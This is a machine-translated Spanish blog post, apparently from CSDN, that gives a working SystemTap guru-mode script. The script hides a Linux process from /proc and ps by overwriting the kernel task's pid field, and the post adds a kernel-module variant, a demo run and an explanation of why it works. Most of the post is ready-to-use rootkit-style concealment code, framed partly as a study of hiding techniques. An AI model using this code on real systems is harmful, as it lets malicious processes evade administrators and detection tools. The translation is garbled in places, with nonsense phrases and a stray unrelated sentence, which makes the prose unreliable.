Una línea de código oculta el proceso de Linux

Algunos amigos siempre preguntan cómo ocultar los procesos de Linux, yo les digo hasta qué punto quieren ocultarlo del kernel o del usuario.

Toda la discusión en Internet no es más que enganchar procfs o soluciones similares en modo de usuario, y es inevitable alargar la discusión. Dije, estas escenas son demasiado grandes y demasiado complicadas. Para aquellos que desean ver el efecto de inmediato, es probable que se desanime al ver un montón de cosas tan complicadas.

Este artículo presenta un método poco convencional para ocultar los procesos de Linux a los usuarios, con solo una línea de código:

  • Simplemente modifique el pid del proceso.

Tenga en cuenta que es Xiaoyin, por lo que no vale la pena contrarrestarlo, así que puedo hacerle una broma al ingeniero senior de conferencias.

target->pid = 0x7fffffff;

El guión completo es el siguiente:

#!/usr/bin/stap -g
# hide.stp

global pid;

function hide(who:long)
%{
    
    
	struct task_struct *target;

	target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID);
	target->pid = 0x7fffffff;
%}

probe begin
{
    
    
	pid = $1
	hide(pid);
	exit();
}

Vamos, pruébalo:

[root@localhost system]# ./tohide &
[1] 403
[root@localhost system]# ./hide.stp
[root@localhost system]# 

Utilice el siguiente comando para detectar todos los archivos binarios que pueden mostrar el proceso:

for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do 
	ls -l /proc/$pid/exe; 
done

El procfs se ha ido, y ps ciertamente no se puede detectar.

Si cree que el stap en modo guru es extraño, puede escribir su propio módulo de kernel de Linux independiente y usar el método de retorno después de la modificación:

target->pid = xxxx;
return -1;

No es simplemente más que una variedad de métodos de gancho, los llamados códigos de datos dinámicos no se mueven!

Simplemente hable sobre el principio.

  • Cuando se crea una tarea, la estructura del directorio procfs se registra de acuerdo con su pid.
  • Al visualizar la estructura del directorio procfs, recorra la lista de tareas y use su pid como clave para encontrar la estructura del directorio procfs.
  • 0x7fffffff (o cualquier otro valor razonable) no se ha registrado en absoluto y, por supuesto, no se puede mostrar.

No hay mucho que decir.

Nuevamente, no intente contrarrestar los métodos descritos en este artículo, porque no vale la pena contrarrestar algo tan simple, jaja, ¿verdad?

Puede consultar mi serie anterior de artículos de Rootkit para continuar estudiando cómo se esconden los procesos de Linux en el kernel. Al mismo tiempo, he dado contramedidas para cada método.

No hay mucha gente que juegue al ajedrez conmigo mismo, quiero intentarlo.


Los zapatos de cuero en Wenzhou, Zhejiang están mojados, por lo que no engordan con la lluvia.

Supongo que te gusta

Origin blog.csdn.net/dog250/article/details/108032383
Recomendado
Clasificación